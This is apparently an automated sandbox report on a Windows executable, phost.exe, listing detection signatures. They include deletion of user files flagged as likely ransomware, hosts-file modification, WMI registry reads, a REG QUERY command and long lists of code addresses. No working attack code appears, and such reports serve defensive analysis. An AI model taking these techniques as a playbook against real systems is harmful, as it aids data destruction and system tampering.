Source: phost.exe, 00000001.00000003.1837339893.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1853895159.000001AE1D368000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1815420180.000001AE1D359000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864387686.000001AE1D361000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1848923148.000001AE1D368000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2175758589.000001AE1D383000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2171558185.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864030272.000001AE1D35D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2177552719.000001AE1D385000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1871682113.000001AE1D361000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1857854012.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1881310006.000001AE1D604000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178106775.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1830725428.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\phost.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\WUTJSCBCFX.png	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\LTKMYBSEYZ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\LTKMYBSEYZ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\UOOJJOZIRH.mp3	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\KZWFNRXYKI.jpg	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\phost.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: conhost.exe	Process created: 42
Source: cmd.exe	Process created: 71

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Code function: 105_2_00007FF6BBCD3A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

105_2_00007FF6BBCD3A70

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Code function: 105_2_00007FF6BBCFB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

105_2_00007FF6BBCFB57C

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC71000	0_2_00007FF62CC71000
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC969D4	0_2_00007FF62CC969D4
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC78BD0	0_2_00007FF62CC78BD0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC83610	0_2_00007FF62CC83610
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC81DC4	0_2_00007FF62CC81DC4
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC8E5E0	0_2_00007FF62CC8E5E0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC85DA0	0_2_00007FF62CC85DA0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC89F10	0_2_00007FF62CC89F10
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC95EEC	0_2_00007FF62CC95EEC
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC88804	0_2_00007FF62CC88804
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC81FD0	0_2_00007FF62CC81FD0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC817B0	0_2_00007FF62CC817B0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC99798	0_2_00007FF62CC99798
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC8DF60	0_2_00007FF62CC8DF60
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC9411C	0_2_00007FF62CC9411C
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC918E4	0_2_00007FF62CC918E4
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC79870	0_2_00007FF62CC79870
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC83A14	0_2_00007FF62CC83A14
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC821D4	0_2_00007FF62CC821D4
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC819B4	0_2_00007FF62CC819B4
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC88154	0_2_00007FF62CC88154
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC90938	0_2_00007FF62CC90938
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC8DACC	0_2_00007FF62CC8DACC
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC81BC0	0_2_00007FF62CC81BC0
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC7A34B	0_2_00007FF62CC7A34B
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC7AD1D	0_2_00007FF62CC7AD1D
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC7A4E4	0_2_00007FF62CC7A4E4
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC90938	0_2_00007FF62CC90938
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC96488	0_2_00007FF62CC96488
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC93C80	0_2_00007FF62CC93C80
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC82C80	0_2_00007FF62CC82C80
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC95C70	0_2_00007FF62CC95C70
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC71000	1_2_00007FF62CC71000
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC969D4	1_2_00007FF62CC969D4
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC83610	1_2_00007FF62CC83610
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC81DC4	1_2_00007FF62CC81DC4
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC8E5E0	1_2_00007FF62CC8E5E0
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC85DA0	1_2_00007FF62CC85DA0
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC89F10	1_2_00007FF62CC89F10
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC95EEC	1_2_00007FF62CC95EEC
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC88804	1_2_00007FF62CC88804
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC81FD0	1_2_00007FF62CC81FD0
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC817B0	1_2_00007FF62CC817B0
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC99798	1_2_00007FF62CC99798
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC8DF60	1_2_00007FF62CC8DF60
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC9411C	1_2_00007FF62CC9411C
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC918E4	1_2_00007FF62CC918E4
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC79870	1_2_00007FF62CC79870
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC83A14	1_2_00007FF62CC83A14
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 74_2_00007FFD9A9E17D9	74_2_00007FFD9A9E17D9
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBABA0	105_2_00007FF6BBCBABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE7B24	105_2_00007FF6BBCE7B24
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC0A2C	105_2_00007FF6BBCC0A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCDAE10	105_2_00007FF6BBCDAE10
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC54C0	105_2_00007FF6BBCC54C0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCB82F0	105_2_00007FF6BBCB82F0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC1180	105_2_00007FF6BBCC1180
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCB1884	105_2_00007FF6BBCB1884
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBB540	105_2_00007FF6BBCBB540
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD06D0C	105_2_00007FF6BBD06D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCD9D0C	105_2_00007FF6BBCD9D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBDD04	105_2_00007FF6BBCBDD04
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE0D20	105_2_00007FF6BBCE0D20
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF5C8C	105_2_00007FF6BBCF5C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC8C30	105_2_00007FF6BBCC8C30
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD09B98	105_2_00007FF6BBD09B98
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF4B38	105_2_00007FF6BBCF4B38
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBCB14	105_2_00007FF6BBCBCB14
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD1AAC0	105_2_00007FF6BBD1AAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF5A70	105_2_00007FF6BBCF5A70
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCEFA6C	105_2_00007FF6BBCEFA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF69FD	105_2_00007FF6BBCF69FD
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCB49B8	105_2_00007FF6BBCB49B8
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCDD97C	105_2_00007FF6BBCDD97C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCD0104	105_2_00007FF6BBCD0104
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD100F0	105_2_00007FF6BBD100F0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE8040	105_2_00007FF6BBCE8040
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE0074	105_2_00007FF6BBCE0074
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCDC05C	105_2_00007FF6BBCDC05C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCEC00C	105_2_00007FF6BBCEC00C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC3030	105_2_00007FF6BBCC3030
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD1DFD8	105_2_00007FF6BBD1DFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF4FE8	105_2_00007FF6BBCF4FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD1AF90	105_2_00007FF6BBD1AF90
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE5F4C	105_2_00007FF6BBCE5F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCEAF0C	105_2_00007FF6BBCEAF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCB9EFC	105_2_00007FF6BBCB9EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBCE84	105_2_00007FF6BBCBCE84
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCFEEA4	105_2_00007FF6BBCFEEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCFAE50	105_2_00007FF6BBCFAE50
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD0FE74	105_2_00007FF6BBD0FE74
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC8E68	105_2_00007FF6BBCC8E68
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBEE08	105_2_00007FF6BBCBEE08
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC1E04	105_2_00007FF6BBCC1E04
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD01DCC	105_2_00007FF6BBD01DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF9D74	105_2_00007FF6BBCF9D74
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBA504	105_2_00007FF6BBCBA504
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF5468	105_2_00007FF6BBCF5468
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCDD458	105_2_00007FF6BBCDD458
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCDC3E0	105_2_00007FF6BBCDC3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE0374	105_2_00007FF6BBCE0374
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC2360	105_2_00007FF6BBCC2360
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD01314	105_2_00007FF6BBD01314
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD0832C	105_2_00007FF6BBD0832C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCCD2C0	105_2_00007FF6BBCCD2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCB42E0	105_2_00007FF6BBCB42E0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF02A4	105_2_00007FF6BBCF02A4
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCBF24C	105_2_00007FF6BBCBF24C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCD7244	105_2_00007FF6BBCD7244
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD02268	105_2_00007FF6BBD02268
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCCE21C	105_2_00007FF6BBCCE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF81CC	105_2_00007FF6BBCF81CC
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD141CC	105_2_00007FF6BBD141CC
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF2164	105_2_00007FF6BBCF2164
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF190C	105_2_00007FF6BBCF190C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE0904	105_2_00007FF6BBCE0904
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCED91C	105_2_00007FF6BBCED91C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE38E8	105_2_00007FF6BBCE38E8
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC2890	105_2_00007FF6BBCC2890
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCB8884	105_2_00007FF6BBCB8884
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD018A8	105_2_00007FF6BBD018A8
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC17C8	105_2_00007FF6BBCC17C8
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCD67E0	105_2_00007FF6BBCD67E0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCEA710	105_2_00007FF6BBCEA710
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF0710	105_2_00007FF6BBCF0710
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCF2700	105_2_00007FF6BBCF2700
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC86C4	105_2_00007FF6BBCC86C4
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD186D4	105_2_00007FF6BBD186D4
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD07660	105_2_00007FF6BBD07660
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD0260C	105_2_00007FF6BBD0260C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCE65FC	105_2_00007FF6BBCE65FC
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCDF5B0	105_2_00007FF6BBCDF5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCEF59C	105_2_00007FF6BBCEF59C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBCC8598	105_2_00007FF6BBCC8598

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: String function: 00007FF6BBCF49F4 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: String function: 00007FF6BBCC8444 appears 48 times
Source: C:\Users\user\Desktop\phost.exe	Code function: String function: 00007FF62CC72910 appears 34 times
Source: C:\Users\user\Desktop\phost.exe	Code function: String function: 00007FF62CC72710 appears 90 times

Source: phost.exe

Static PE information: invalid certificate

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: phost.exe	Binary or memory string: OriginalFilename vs phost.exe
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs phost.exe
Source: phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs phost.exe
Source: phost.exe, 00000000.00000000.1675471373.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameupfc.exej% vs phost.exe
Source: phost.exe, 00000000.00000003.1675759091.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs phost.exe
Source: phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs phost.exe
Source: phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs phost.exe
Source: phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs phost.exe
Source: phost.exe	Binary or memory string: OriginalFilename vs phost.exe
Source: phost.exe, 00000001.00000002.2185145953.00007FFE101E8000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2182666922.00007FFDFACA4000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs phost.exe
Source: phost.exe, 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameupfc.exej% vs phost.exe
Source: phost.exe, 00000001.00000002.2185595747.00007FFE10318000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2185433236.00007FFE10263000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2186655028.00007FFE13344000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2187193296.00007FFE1A467000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs phost.exe
Source: phost.exe, 00000001.00000002.2183688641.00007FFDFB1A9000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs phost.exe
Source: phost.exe, 00000001.00000002.2186219848.00007FFE130CC000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2185833126.00007FFE1152C000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2186051841.00007FFE126F4000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2184876730.00007FFE0EB62000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2181882290.00007FFDFAA5A000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2182303838.00007FFDFAB28000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamelibsslH vs phost.exe
Source: phost.exe, 00000001.00000002.2186390220.00007FFE1330C000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs phost.exe
Source: phost.exe, 00000001.00000002.2184635947.00007FFDFB8A2000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython312.dll. vs phost.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

Source: C:\Users\user\Desktop\phost.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\phost.exe	Process created: Commandline size = 3647	Jump to behavior
